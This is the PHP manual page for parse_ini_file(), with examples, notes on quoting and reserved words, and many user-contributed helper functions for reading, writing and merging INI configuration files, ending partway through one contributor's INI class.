Constants may also be parsed in the ini file so if you define a constant as an ini value before running parse_ini_file(), it will be integrated into the results. Only ini values are evaluated. For example:

<?php

define('BIRD', 'Dodo bird');

// Parse without sections
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// Parse with sections
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

The above example will output something similar to:

Array
(
    [one] => 1
    [five] => 5
    [animal] => Dodo bird
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
    [phpversion] => Array
        (
            [0] => 5.0
            [1] => 5.1
            [2] => 5.2
            [3] => 5.3
        )

)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] => Dodo bird
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

    [third_section] => Array
        (
            [phpversion] => Array
                (
                    [0] => 5.0
                    [1] => 5.1
                    [2] => 5.2
                    [3] => 5.3
                )

        )

)

Example #3 parse_ini_file() parsing a php.ini file

<?php
// A simple function used for comparing the results below
function yesno($expression)
{
    return($expression ? 'Yes' : 'No');
}

// Get the path to php.ini using the php_ini_loaded_file()
// function available as of PHP 5.2.4
$ini_path = php_ini_loaded_file();

// Parse php.ini
$ini = parse_ini_file($ini_path);

// Print and compare the values, note that using get_cfg_var()
// will give the same results for parsed and loaded here
echo '(parsed) magic_quotes_gpc = ' . yesno($ini['magic_quotes_gpc']) . PHP_EOL;
echo '(loaded) magic_quotes_gpc = ' . yesno(get_cfg_var('magic_quotes_gpc')) . PHP_EOL;
?>

The above example will output something similar to:

(parsed) magic_quotes_gpc = Yes
(loaded) magic_quotes_gpc = Yes

Notes

Note:

This function has nothing to do with the php.ini file. It is already processed by the time you run your script. This function can be used to read in your own application's configuration files.

Note:

If a value in the ini file contains any non-alphanumeric characters it needs to be enclosed in double-quotes (").

Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, off, no and false result in "". Values on, yes and true result in "1". Characters ?{}|&~![()^" must not be used anywhere in the key and have a special meaning in the value.

Note:

Entries without an equal sign are ignored. For example, "foo" is ignored whereas "bar =" is parsed and added with an empty value. For example, MySQL has a "no-auto-rehash" setting in my.cnf that does not take a value, so it is ignored.

See Also

  • parse_ini_string() - Parse a configuration string

User Contributed Notes

Rekam 13-Apr-2014 06:59
You may want, in some very special cases, to parse multi-dimensional array with N levels in your ini file. Something like setting[data][config][debug] = true will result in an error (expected "=").

Here's a little function to match this, using dots (customizable).
<?php
function parse_ini_file_multi($file, $process_sections = false, $scanner_mode = INI_SCANNER_NORMAL) {
    $explode_str = '.';
    $escape_char = "'";
    // load ini file the normal way
    $data = parse_ini_file($file, $process_sections, $scanner_mode);
    if (!$process_sections) {
        $data = array($data);
    }
    foreach ($data as $section_key => $section) {
        // loop inside the section
        foreach ($section as $key => $value) {
            if (strpos($key, $explode_str)) {
                if (substr($key, 0, 1) !== $escape_char) {
                    // key has a dot. Explode on it, then parse each subkeys
                    // and set value at the right place thanks to references
                    $sub_keys = explode($explode_str, $key);
                    $subs =& $data[$section_key];
                    foreach ($sub_keys as $sub_key) {
                        if (!isset($subs[$sub_key])) {
                            $subs[$sub_key] = [];
                        }
                        $subs =& $subs[$sub_key];
                    }
                    // set the value at the right place
                    $subs = $value;
                    // unset the dotted key, we don't need it anymore
                    unset($data[$section_key][$key]);
                }
                // we have escaped the key, so we keep dots as they are
                else {
                    $new_key = trim($key, $escape_char);
                    $data[$section_key][$new_key] = $value;
                    unset($data[$section_key][$key]);
                }
            }
        }
    }
    if (!$process_sections) {
        $data = $data[0];
    }
    return $data;
}
?>

The following file:
<?php
/*
[normal]
foo = bar
; use quotes to keep your key as it is
'foo.with.dots' = true

[array]
foo[] = 1
foo[] = 2

[dictionary]
foo[debug] = false
foo[path] = /some/path

[multi]
foo.data.config.debug = true
foo.data.password = 123456
*/
?>

will result in:
<?php
parse_ini_file_multi('file.ini', true);

Array
(
    [normal] => Array
        (
            [foo] => bar
            [foo.with.dots] => 1
        )
    [array] => Array
        (
            [foo] => Array
                (
                    [0] => 1
                    [1] => 2
                )
        )
    [dictionary] => Array
        (
            [foo] => Array
                (
                    [debug] =>
                    [path] => /some/path
                )
        )
    [multi] => Array
        (
            [foo] => Array
                (
                    [data] => Array
                        (
                            [config] => Array
                                (
                                    [debug] => 1
                                )
                            [password] => 123456
                        )
                )
        )
)
?>
mgcummings at yahoo dot SPAMNO dot com 10-Apr-2014 11:48
Not mentioned in docs about constants but 'magic' constants do NOT work. So for example:

// __DIR__ = /my/web/site/app
log_file = __DIR__"/app.log"

Gives you just "__DIR__/app.log" with NO replacement.

Make sense it should NOT work as there would be question if it should be set to path of PHP file making the call or the path of the 'ini' file. Though the last might be useful the first generally would NOT be if you parse the file several different places in your code etc.

Tested in PHP 5.4.26
yicktan 18-Jul-2013 10:45
This combo works best for me.

<?php

$inifile = "config.php";
$inivalue = get_parse_ini($inifile);
print_r($inivalue);
$inivalue['config']['length']=6;
put_ini_file("config.php", $inivalue, $i = 0);

function get_parse_ini($file)
{

    // if cannot open file, return false
    if (!is_file($file))
        return false;

    $ini = file($file);

    // to hold the categories, and within them the entries
    $cats = array();

    foreach ($ini as $i) {
        if (@preg_match('/\[(.+)\]/', $i, $matches)) {
            $last = $matches[1];
        } elseif (@preg_match('/(.+)=(.+)/', $i, $matches)) {
            $cats[$last][trim($matches[1])] = trim($matches[2]);
        }
    }

    return $cats;

}

function put_ini_file($file, $array, $i = 0){
  $str="";
  foreach ($array as $k => $v){
    if (is_array($v)){
      $str.=str_repeat(" ",$i*2)."[$k]\r\n";
      $str.=put_ini_file("",$v, $i+1);
    }else
      $str.=str_repeat(" ",$i*2)."$k = $v\r\n";
  }

  $phpstr = "<?PHP\r\n/*\r\n".$str."*/\r\n?>";

 if($file)
    return file_put_contents($file,$phpstr);
  else
    return $str;
}

?>

here is the config.php file
<?php
/*
;Commented line start with ';'
[config]
admin = root
pass = pass
email = social@facebook.com
length = 4
block = 4
seperation = -
*/
?>

Test it out yourself
josephbiesek at msn dot com 28-Jun-2013 01:33
Set an simple ini file to defined constants

$config = parse_ini_file('main.ini');

foreach($config as $key => $value) {
    define($key, $value);
}
michel 25-Jun-2013 08:41
note configuration files should be stored outside you www-root/htdocs folder
grant at rootcentral dot org 19-Jun-2013 04:46
Somewhere between versions 5.2.5 and 5.3.24, the parsing of unquoted multiword values (e.g. values with embedded spaces) changed.

In 5.3.24, a multiword value where one of the words is a reserved word (null, yes, no, true, false, on, off, none) will cause the function to return an error.

Adding double quotation marks around the value string will solve the problem.
simon dot riget at gmail dot com 22-Feb-2013 04:23
.ini files or JSON file format as it is also known as, are very useful format to store stuff in. Especially large arrays.

Strangely enough there is this nice function to read the file, but no function to write it.

So here is one.

Use it as:  put_ini_file(string $file, array $array)

<?php
function put_ini_file($file, $array, $i = 0){
  $str="";
  foreach ($array as $k => $v){
    if (is_array($v)){
      $str.=str_repeat(" ",$i*2)."[$k]".PHP_EOL;
      $str.=put_ini_file("",$v, $i+1);
    }else
      $str.=str_repeat(" ",$i*2)."$k = $v".PHP_EOL;
  }
 if($file)
    return file_put_contents($file,$str);
  else
    return $str;
}
?>
julien dot moquet at interieur dot gouv dot fr 15-May-2012 07:08
In order to set a " in ini files, you may follow that trick :

The yourfilename.ini file :

[yoursectionhere]
somevalue = "This "QUOTE"string"QUOTE" has quotes"

The PHP code :

<?php
define('QUOTE', '"');

$aInifile = parse_ini_file('yourfilename.ini', 'yoursectionhere');
echo 'test : ' . $aInifile['yoursectionhere']['somevalue'];
?>
miguelgilmartinez at gmail dot com 04-May-2012 04:55
This function won't work if you try to parse a file with an extension which is not ".ini". It won't work if your filename is config.cfg, for instance. In this case, it will return array(0)
Johannes Schmidt 22-Apr-2012 04:11
#If you want to replace a Setting in the ini, use this code:
/// bool SetCMSSettings(string $Setting, string $replace, string $INI_PATH)
/// $Setting = The Setting, which you want to replace
/// $replace = the new value

public function SetCMSSettings($Setting, $replace, $INI_PATH)
        {
            $ini = fopen($INI_PATH,"w+");

            $i = 0;
            while($Content = fgets($ini))
            {
                if(preg_match("/".$Setting."/", $Content)) {
                    fwrite($ini, $Setting."=".$replace);
                    $i = 1;
                } else {
                    fwrite($ini, $Content);
                }
            }
            // If, the setting wasnt replaced.
            if($i == 0) {
                fwrite($ini, $Setting."=".$replace);
            }
fclose($ini);
        }
jerikojerk 16-Aug-2011 11:51
Please note that despite the changelog telling nothing about it, the parse_ini_file() changed
-> the way it interprets the simple quote (not accepted on my 5.1 php)
-> array index. PHP 5.3 accepts the following but not php 5.1

[section]
param["index"]='value'
param["other index"]='other value'
Alex - webitoria.com 05-Feb-2011 12:56
Constants in ini files are not expanded if they are concatenated with strings quoted with single quotes, they must be in double quotes only to make constants expanded.

Example:

define ('APP_PATH', '/some/path');

mypath = APP_PATH '/config'
// Constant won't be expanded: [mypath] => APP_PATH '/config'

mypath = APP_PATH "/config"
// Constant will be expanded: [mypath] => /some/path/config

Note "." between constant and following string is not used.

Since Zend_Config_Ini is built on parse_ini_file, it inherits this behaviour.
Rolf 21-Sep-2010 11:27
As of PHP 5.3, you can escape a double quote like this:

description = "an \" example"

But strangely, this fails when you try to escape two consecutive double quotes:

description = "no \"\" good"

Unless there is something between them (in this example, there is a space character):

description = "this is \" \" ok"
uramihsayibok, gmail, com 16-Sep-2010 10:10
Undocumented feature!

Using ${...} as a value will look to
1) an INI setting, or
2) an environment variable

For example,

<?php

print_r(parse_ini_string('
php_ext_dir = ${extension_dir}
operating_system = ${OS}
'));

?>

Array
(
    [php_ext_dir] => ./ext/
    [operating_system] => Windows_NT
)

Present in PHP 5.3.2, likely in 5.x, maybe even earlier too.
Anonymous 11-Sep-2010 06:42
a ini lexer with regexp:

<?php

@header('Content-Type: text/plain');

$myini = <<<EOT
[examples]                                  ; this is a section
                                            ; this is a comment line
1 = intkey                                  ; this is a int key
nullvalue = null                            ; this is NULL
truebool = true                             ; this is boolean (TRUE)
falsebool = false                           ; this is boolean (FALSE)
intvalue = -1                               ; this is a integer (-1)
floatvalue = +1.4E-3                        ; this is a float (0.0014)
stringvalue = Hello World                   ; this is a unquoted string
quoted = "Hello World"                      ; this is a quoted string
apostrophed = 'Hello World'                 ; this is a apostrophed string
quoted escaped = "it work's \"fine\"!"      ; this is a quoted string with escaped quotes
apostrophed escaped = 'it work\'s "fine"!'  ; this is a apostrophed string with escaped apostrophes

    [[valid special cases]]                 ; this is a section with square brackets and whitespaces at the beginning
quoted multiline = "line1
line2
line3"                                      ; this is a quoted multiline string
apostrophed multiline = "line1
line2
line3"                                      ; this is a apostrophed multiline string
     spaces before key = is ok               ; this line has whitespaces at the beginning
no val =                                    ; this setting has no key
= no key                                    ; this setting has no value
=                                           ; this setting has no key and no value

[bad cases]                                 ; you should never do that but it works
notgood = unquoted"string                   ; this value has a single quote
notgood2 = unapostrophed'string             ; this value has a single apostrophe
bad = "unclosed quotes                      ; this value has unclosed quotes
bad2 = 'unclosed apostrophes                ; this value has unclosed apostrophes

[invalid
section]
invalid setting
EOT;

function get_tokens_from_ini_lexer($data, $verbose = FALSE)
{
    $regexp = '/
    (?<=^|\r\n|\r|\n)
    (?P<line>
        (?:
            (?(?![\t\x20]*;)
                (?P<left_space>[\t\x20]*)
                (?:
                    \[(?P<section>[^;\r\n]+)\]
                    |
                    (?P<setting>
                        (?P<key>
                            [^=;\r\n]+?
                        )?
                        (?P<left_equal_space>[\t\x20]*)
                        (?P<equal_sign>=)
                        (?P<right_equal_space>[\t\x20]*)
                        (?P<val>
                            \x22(?P<quoted>.*?)(?<!\x5C)\x22
                            |
                            \x27(?P<apostrophed>.*?)(?<!\x5C)\x27
                            |
                            (?P<null>null)
                            |
                            (?P<bool>true|false)
                            |
                            (?P<int>[+-]?(?:[1-9]\d{0,18}|0))
                            |
                            (?P<float>(?:[+-]?(?:[1-9]\d*|0))\.\d+(?:E[+-]\d+)?)
                            |
                            (?P<string>[^;\r\n]+?)
                        )?
                    )
                )
            )
            (?P<right_space>[\t\x20]*)
            (?:
                (?P<comment_seperator>;)
                (?P<comment_space>[\t\x20]*)
                (?P<comment>[^\r\n]+?)?
            )?
        )
        |
        (?P<error>
            [^\r\n]+?
        )
    )
    (?=\r\n|\r|\n|$)(?P<crlf>\r\n|\r|\n)?
    |
    (?<=\r\n|\r|\n)(?P<emptyline>\r\n|\r|\n)
    /xsi';

    if(!@is_int(preg_match_all($regexp, $data, $tokens, PREG_SET_ORDER)))
    {
        // parse error
    }
    else
    {
        foreach($tokens as $i => $token)
        {
            if(!$verbose)
            {
                unset($tokens[$i]['line']);
                unset($tokens[$i]['crlf']);
                unset($tokens[$i]['setting']);
                unset($tokens[$i]['equal_sign']);
                unset($tokens[$i]['val']);
                unset($tokens[$i]['left_space']);
                unset($tokens[$i]['left_equal_space']);
                unset($tokens[$i]['right_equal_space']);
                unset($tokens[$i]['right_space']);
                unset($tokens[$i]['comment_seperator']);
                unset($tokens[$i]['comment_space']);
            };

            foreach($token as $key => $val)
            {
                if(!@is_string($key) || !@strlen($val))
                {
                    unset($tokens[$i][$key]);
                };
            };
        };

        return($tokens);
    };
};

$verbose = FALSE;

print_r(get_tokens_from_ini_lexer($myini, $verbose));

?>
pd at frozen-bits dot de 19-Aug-2010 11:21
I use the following syntax to secure my config.ini.php file:

;<?php
;die(); // For further security
;/*

[category]
name="value"

;*/

;?>

Works like a charm and is both: A valid PHP File and a valid ini-File ;)
geggert at web dot de 23-Jul-2010 03:44
As quick an dirty way to gain the security of that *.ini.php-files you may alternatively use this as first line:

; <?php exit(); __halt_compiler();
// the closing tag is just to end up the syntax highlighting ...
// leave these comments and the closing tag away in your ini.php-file!
?>

You can use parse_ini_file() in the normal way and any criminal stranger will only see a ";" then ...
forcestudios.square7.de 15-Jun-2010 09:46
Tip: you cannot parse an ini-file with this safer structure:

<?php exit();
$data="

[section_one]
test = abc

[section_two]
and_so=on

";
?>

(strangers are not able to see this file because php closed the file previously by executing exit();)

But here is a very simple code to prevent this:
<?php

    class iniParser{

        private $IniFile;
        private $SafeFile;
        private $ParseClasses;

        public $KeysWithoutSections;
        public $KeysWithSections;

        public function __construct($FileName, $SafeFile = false){

            $this->IniFile = $FileName;
            $this->SafeFile = $SafeFile;

        }

        public function parseIni($SaveInClass = true){

            $FileHandle = file($this->IniFile);

            $CountLines = count($FileHandle);
            $Counter = 0;

            $NKeys = "";

            if ( $this->SafeFile ){

                $Counter += 2;
                $CountLines -= 2;
            }

            while ( $Counter < $CountLines ){

                $CurLine = $FileHandle[$Counter];

                $CurLineSplit = explode("=", $CurLine);

                $CurKey = $CurLineSplit[0];
                $CurValue = $CurLineSplit[1];
                if( $SaveInClass )
                    $this->Keys[trim($CurKey)] = trim($CurValue);

                else
                    $NKeys[trim($CurKey)] = trim($CurValue);

                $Counter++;
            }

            if( $SaveInClass )
                return $this->KeysWithoutSections;

            else
                return $NKeys;

        }

        public function parseIniWithSections($SaveInClass = true){

            $FileHandle = file($this->IniFile);

            $CountLines = count($FileHandle);
            $Counter = 0;

            $LastSection = "";

            $NKeys = "";

            if ( $this->SafeFile ){

                $CountLines -= 2;
                $Counter += 2;

            }

            while ( $Counter < $CountLines ){

                $CurLine = $FileHandle[$Counter];

                if ( strpos($CurLine, "[") == 1 ){

                    $LastSection = $CurLine;
                    continue;

                }

                $Explosion = explode("=", $CurLine);

                $CurKey = trim($Explosion[0]);
                $CurValue = trim($Explosion[1]);

                if ( $SaveInClass )
                    $this->KeysWithSections[$LastSection][$CurKey] = $CurValue;

                else
                    $NKeys[$LastSection][$CurKey] = $CurValue;

            }

            if ( $SaveInClass )
                return $this->KeysWithSections;

            else
                return $NKeys;

        }

    };

?>

To use this class just try this script here:

<?php

include "iniparser.php" // class above

$SafeIniParser = new iniParser("test.php", true); // file: test.php, safefile.

$Keys = $SafeIniParser->parseIniWithSections(false);

echo $Keys["section_one"]["test"];

?>

i used this file:
<?php exit();
$data="

[section_one]
test = abc

[section_two]
and_so=on

";
?>
Mauro Gabriel Titimoli 20-Jan-2010 12:14
I have recently finished an implementacion of a multiple configuration type class.

<?php
class Configuration {
    const AUTO = 0;
    const JSON = 2;
    const PHP_INI = 4;
    const XML = 16;

    static private $CONF_EXT_RELATION = array(
        'json' => 2, // JSON
        'ini' => 4,  // PHP_INI
        'xml' => 16  // XML
    );

    static private $instances;

    private $data;

    static public function objectToArray($obj) {
        $arr = (is_object($obj))?
            get_object_vars($obj) :
            $obj;

        foreach ($arr as $key => $val) {
            $arr[$key] = ((is_array($val)) || (is_object($val)))?
                self::objectToArray($val) :
                $val;
        }

        return $arr;
    }

    private function __construct($file, $type = Configuration::AUTO) {
        if ($type == self::AUTO) {
            $type = self::$CONF_EXT_RELATION[pathinfo($file, PATHINFO_EXTENSION)];
        }

        switch($type) {
            case self::JSON:
                $this->data = json_decode(file_get_contents($file), true);
                break;

            case self::PHP_INI:
                $this->data = parse_ini_file($file, true);
                break;

            case self::XML:
                $this->data = self::objectToArray(simplexml_load_file($file));
                break;
        }
    }

    static public function & getInstance($file, $type = Configuration::AUTO) {
        if(! isset(self::$instances[$file])) {
            self::$instances[$file] = new Configuration($file, $type);
        }

        return self::$instances[$file];
    }

    public function __get($section) {
        if ((is_array($this->data)) &&
                (array_key_exists($section, $this->data))) {
            return $this->data[$section];
        }
    }

    public function getAvailableSections() {
        return array_keys($this->data);
    }
}

$configuration = Configuration::getInstance(/*configuration filename*/);
foreach($configuration->getAvailableSections() as $pos => $sectionName) {
    var_dump($sectionName);
    var_dump($configuration->{$sectionName});
}
?>
freamer89 at gmail dot com 03-Nov-2009 05:38
Didn`t find the one,which suits my needs,so Here`s a small and easy write ini from array function... Maybe you`ll find it handy.
<?php
function write_php_ini($array, $file)
{
    $res = array();
    foreach($array as $key => $val)
    {
        if(is_array($val))
        {
            $res[] = "[$key]";
            foreach($val as $skey => $sval) $res[] = "$skey = ".(is_numeric($sval) ? $sval : '"'.$sval.'"');
        }
        else $res[] = "$key = ".(is_numeric($val) ? $val : '"'.$val.'"');
    }
    safefilerewrite($file, implode("\r\n", $res));
}
//////
function safefilerewrite($fileName, $dataToSave)
{    if ($fp = fopen($fileName, 'w'))
    {
        $startTime = microtime();
        do
        {            $canWrite = flock($fp, LOCK_EX);
           // If lock not obtained sleep for 0 - 100 milliseconds, to avoid collision and CPU load
           if(!$canWrite) usleep(round(rand(0, 100)*1000));
        } while ((!$canWrite)and((microtime()-$startTime) < 1000));

        //file was locked so now we can store information
        if ($canWrite)
        {            fwrite($fp, $dataToSave);
            flock($fp, LOCK_UN);
        }
        fclose($fp);
    }

}
?>
prometheus 30-Sep-2009 06:32
I made a small test to check differencies between parse_ini_file and json_decode and I surprised a little bit.

Here are my test files...
parseini-test.ini:
[global]
a = 1
b = 2
c = "Lorem Ipsum"
d = "Dolor Sit Amet"
e = 3.14

jsondecode-test.json:
{
    "a": 1,
    "b": 2,
    "c": "Lorem Ipsum",
    "d": "Dolor Sit Amet",
    "e": 3.14
}

And source codes are...
parseini.php:
<?php

$s = microtime(TRUE);
for ($i=0; $i<100000; $i++)
{
$a = parse_ini_file('./parseini-test.ini');
unset($a);
}
$e = microtime(TRUE);
echo $e-$s;

?>

jsondecode.php:
<?php

$s = microtime(TRUE);
for ($i=0; $i<100000; $i++)
{
$a = json_decode(file_get_contents('./jsondecode-test.json'), TRUE);
unset($a);
}
$e = microtime(TRUE);
echo $e-$s;

?>

These tests ran for three times (the third result is near to average in my experiences):
- parseini.php: 3.24759721756
- jsondecode.php: 3.289290905

My conclusion:
I`m going to use the json_decode() for reading config files because no significant difference in running time between parse_ini_file() and json_decode() + file_get_contents() but JSON is a more powerful format for storing well typed (parse_ini_file parses 3.14 as string, json_decode as float) and well structured configuration settings. As a note: json_decode is sensitive for associative keys` quotation, use quotes at all time in keys` names.

Test ran on PHP 5.2.
flacroix897 at hotmail dot com 25-Aug-2009 07:23
Make sure you use double-quotes when using spaces in a value as of 5.3.

Consider the following INI file:

   key = tested on php5

with the following code:

   $res = parse_ini_file('myini.ini');
   var_dump($res);

In 5.2, this will give you:

   array(1) {
     ["key"]=>
     string(14) "tested on php5"
   }

In 5.3, this will give you:

   Warning: syntax error, unexpected BOOL_TRUE in Unknown on line 1 in test.php on line 3
   bool(false)

This is because the 'on' word is a reserved keyword for boolean TRUE. The documentation now states that a string that contains any non-alphanumeric character should be enclosed in double-quotes (a space is not alphanumeric).
joe at u13 dot net 20-Jun-2009 09:46
I'm not sure why, but for some reason php's ini functions always leave out entries for me.

To solve this problem, I wrote my own ini parsing function, intended to be a replacement for parse_ini_file('file.ini', true);

<?php

function new_parse_ini($f)
{

    // if cannot open file, return false
    if (!is_file($f))
        return false;

    $ini = file($f);

    // to hold the categories, and within them the entries
    $cats = array();

    foreach ($ini as $i) {
        if (@preg_match('/\[(.+)\]/', $i, $matches)) {
            $last = $matches[1];
        } elseif (@preg_match('/(.+)=(.+)/', $i, $matches)) {
            $cats[$last][$matches[1]] = $matches[2];
        }
    }

    return $cats;

}

?>

The usage follows the Example #2 on http://us3.php.net/manual/en/function.parse-ini-file.php , except without the second parameter being 'true'.
jeremygiberson at gmail dot com 01-May-2009 01:01
Here is a quick parse_ini_file wrapper to add extend support to save typing and redundancy.
<?php
    /**
     * Parses INI file adding extends functionality via ":base" postfix on namespace.
     *
     * @param string $filename
     * @return array
     */
    function parse_ini_file_extended($filename) {
        $p_ini = parse_ini_file($filename, true);
        $config = array();
        foreach($p_ini as $namespace => $properties){
            list($name, $extends) = explode(':', $namespace);
            $name = trim($name);
            $extends = trim($extends);
            // create namespace if necessary
            if(!isset($config[$name])) $config[$name] = array();
            // inherit base namespace
            if(isset($p_ini[$extends])){
                foreach($p_ini[$extends] as $prop => $val)
                    $config[$name][$prop] = $val;
            }
            // overwrite / set current namespace values
            foreach($properties as $prop => $val)
            $config[$name][$prop] = $val;
        }
        return $config;
    }
?>

Treats this ini:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
database=users

[archive : base]
database=archive
*/
?>
As if it were like this:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
host=localhost
user=testuser
pass=testpass
database=users

[archive : base]
host=localhost
user=testuser
pass=testpass
database=archive
*/
?>
prikkeldraad at gmail dot com 26-Mar-2009 03:15
When PHP dies without any warning or message when parsing the ini-file, check the values of the file. All non alphanumeric values need to be quoted.
pBakhuis at googles mail dot com (gmail) 12-Dec-2008 05:42
To those who were like me looking if this could be used to create an array out of commandline output I offer you the function below (I used it to parse mplayer output).

If you want it behave exactly the same as parse_ini_file you'll obviously have to add some code to feed the different sections to this one. Hope it's of help to someone!

<?php
/**
 * The return is very similar to that of parse_ini_file, but this works off files
 *
 * Below is an example of what it does, where the first
 * value is what you'd normally want to do, and the second and third things that might
 * happen and in case it does it's good to know what is going on.
 *
 * $anArray = array( 'default=theValue', 'setting=', 'something=value=value' );
 * explodeExplode( '=', $anArray );
 *
 * the return will be
 * array( 'default' => 'theValue', 'setting' => '', 'something' => 'value=value' );
 *
 * So the oddities here are, text after the second $string occurence dissapearing
 * and empty values resulting in an empty string.
 *
 * @return $returnArray array array( 'setting' => 'value' )
 * @param $string Object
 * @param $array Object
 */
function explodeExplode( $string, $array )
{
    $returnArray = array();

    foreach( $array as $arrayValue )
    {
        $tmpArray = explode( $string, $arrayValue );

        if( count( $tmpArray ) == 1 )
        {
            $returnArray[$tmpArray[0]] = '';
        }
        else if( count( $tmpArray ) == 2 )
        {
            $returnArray[$tmpArray[0]] = $tmpArray[1];
        }
        else if( count( $tmpArray ) > 2 )
        {
            $implodeBack = array();
            $firstLoop      = true;
            foreach( $tmpArray as $tmpValue )
            {
                if( $firstLoop )
                {
                    $firstLoop = false;
                }
                else
                {
                    $implodeBack[] = $tmpValue;
                }
            }
            print_r( $implodeBack );
            $returnArray[$tmpArray[0]] = implode( '=', $implodeBack );
        }
    }

    return $returnArray;
}
?>
Bill Brown - macnimble.com 17-Oct-2008 04:47
Working on a project for a client recently, I needed a way to set a default configuration INI file, but also wanted to allow the client to override the settings through the use of a custom INI file.

I thought array_merge or array_merge_recursive would do the trick for me, but it fails to override settings in the way that I wanted. I wrote my own function to do what I wanted. It's nothing spectacular, but thought I'd post it here in case it saved someone else some time.

<?php
function ini_merge ($config_ini, $custom_ini) {
  foreach ($custom_ini AS $k => $v):
    if (is_array($v)):
      $config_ini[$k] = ini_merge($config_ini[$k], $custom_ini[$k]);
    else:
      $config_ini[$k] = $v;
    endif;
  endforeach;
  return $config_ini;
};
$CONFIG_INI = parse_ini_file('../config.ini', TRUE);
$CUSTOM_INI = parse_ini_file('ini/custom.ini', TRUE);
$INI = ini_merge($CONFIG_INI, $CUSTOM_INI);
?>

This allowed me to put the default INI file above the web root with information that requires extra security (database connection info, etc.) and a writable INI file within the structure of the site without affecting the default settings of the default config.ini file.

Anyway, hope it helps.
david dot dyess at gmail dot com 04-Aug-2008 09:12
Here is another way to group values in the ini:

my.ini:

[singles]
test = a test
test2 = another test
test3 = this is a test too

[multiples]
tests[] = a test
tests[] = another test
tests[] = this is a test too

my.php:

<?php $init = parse_ini_file('my.ini'); ?>

The same as:

<?php
$init['test'] = 'a test';
$init['test2'] = 'another test';
$init['test3'] = 'this is a test too';
$init['tests'][0] = 'a test';
$init['tests'][1] = 'another test';
$init['tests'][2] = 'this is a test too';
?>

This works with the bool set to true also, can be useful with loops. Works with the bool set to true as well.
juampii_4 at hotmail dot com 10-Jul-2008 05:24
class.parseini.php
<?php
##By juan pablo tosso
class Parser
{

    public function printini($file, $sector, $var)
    {
        $file=$file.".ini";
        $is=array();
        $is= parse_ini_file($file, true);
        trim($is);
        if(is_array($is) && file_exists($file))
        {
            return $is[$sector][$var];
        }else{
            return "error";
        }

    }

}

?>

Ini.ini:
[test]
foo=bar

[test2]
foo1=bar1
foo2=bar2
foo bar=something else

just in another file write:

include("class.parseini.php");
$new= new Parser();
echo $new->printini("ini", "test2", "foo1");
goulven.ch AT gmail DOT com 29-Oct-2007 03:33
Warning: parse_ini_files cannot cope with values containing the equal sign (=).

The following function supports sections, comments, arrays, and key-value pairs outside of any section.
Beware that similar keys will overwrite one another (unless in different sections).

<?php
function parse_ini ( $filepath ) {
    $ini = file( $filepath );
    if ( count( $ini ) == 0 ) { return array(); }
    $sections = array();
    $values = array();
    $globals = array();
    $i = 0;
    foreach( $ini as $line ){
        $line = trim( $line );
        // Comments
        if ( $line == '' || $line{0} == ';' ) { continue; }
        // Sections
        if ( $line{0} == '[' ) {
            $sections[] = substr( $line, 1, -1 );
            $i++;
            continue;
        }
        // Key-value pair
        list( $key, $value ) = explode( '=', $line, 2 );
        $key = trim( $key );
        $value = trim( $value );
        if ( $i == 0 ) {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $globals[ $key ][] = $value;
            } else {
                $globals[ $key ] = $value;
            }
        } else {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $values[ $i - 1 ][ $key ][] = $value;
            } else {
                $values[ $i - 1 ][ $key ] = $value;
            }
        }
    }
    for( $j=0; $j<$i; $j++ ) {
        $result[ $sections[ $j ] ] = $values[ $j ];
    }
    return $result + $globals;
}
?>

Example usage:
<?php
$stores = parse_ini('stores.ini');
print_r( $stores );
?>

An example ini file:
<?php
/*
;Commented line start with ';'
global_value1 = a string value
global_value1 = another string value

; empty lines are discarded
[Section1]
key = value
; whitespace around keys and values is discarded too
otherkey=other value
otherkey=yet another value
; this key-value pair will overwrite the former.
*/
?>
www.onphp5.com 24-Oct-2007 10:26
Looks like in PHP 5.3.0 special characters like \n are extrapolated into real newlines. Gotta use \\n.
arnapou 03-Oct-2007 03:51
I didn't find a simple ini class so I wrote that class to read and write ini files.
I hope it could help you.

Read file : $ini = INI::read('myfile.ini');
Write file : INI::write('myfile.ini', $ini);

Features :
- support [] syntax for arrays
- support . in keys like bar.foo.something = value
- true and false string are automatically converted in booleans
- integers strings are automatically converted in integers
- keys are sorted when writing
- constants are replaced but they should be written in the ini file between braces : {MYCONSTANT}

<?php

class INI {
    /**
     *  WRITE
     */
    static function write($filename, $ini) {
        $string = '';
        foreach(array_keys($ini) as $key) {
            $string .= '['.$key."]\n";
            $string .= INI::write_get_string($ini[$key], '')."\n";
        }
        file_put_contents($filename, $string);
    }
    /**
     *  write get string
     */
    static function write_get_string(& $ini, $prefix) {
        $string = '';
        ksort($ini);
        foreach($ini as $key => $val) {
            if (is_array($val)) {
                $string .= INI::write_get_string($ini[$key], $prefix.$key.'.');
            } else {
                $string .= $prefix.$key.' = '.str_replace("\n", "\\\n", INI::set_value($val))."\n";
            }
        }
        return $string;
    }
    /**
     *  manage keys
     */
    static function set_value($val) {
        if ($val === true) { return 'true'; }
        else if ($val === false) { return 'false'; }
        return $val;
    }
    /**
     *  READ
     */
    static function read($filename) {
        $ini = array();
        $lines = file($filename);
        $section = 'default';
        $multi = '';
        foreach($lines as $line) {
            if (substr($line, 0, 1) !== ';') {
                $line = str_replace("\r", "", str_replace("\n", "", $line));
                if (preg_match('/^\[(.*)\]/', $line, $m)) {
                    $section = $m[1];
                } else if ($multi === '' && preg_match('/^([a-z0-9_.\[\]-]+)\s*=\s*(.*)$/i', $line, $m)) {
                    $key = $m[1];
                    $val = $m[2];
                    if (substr($val, -1) !== "\\") {
                        $val = trim($val);
                        INI::manage_keys($ini[$section], $key, $val);
                        $multi = '';
                    } else {
                        $multi = substr($val, 0, -1)."\n";
                    }
                } else if ($multi !== '') {
                    if (substr($line, -1) === "\\") {
                        $multi .= substr($line, 0, -1)."\n";
                    } else {
                        INI::manage_keys($ini[$section], $key, $multi.$line);
                        $multi = '';
                    }
                }
            }
        }

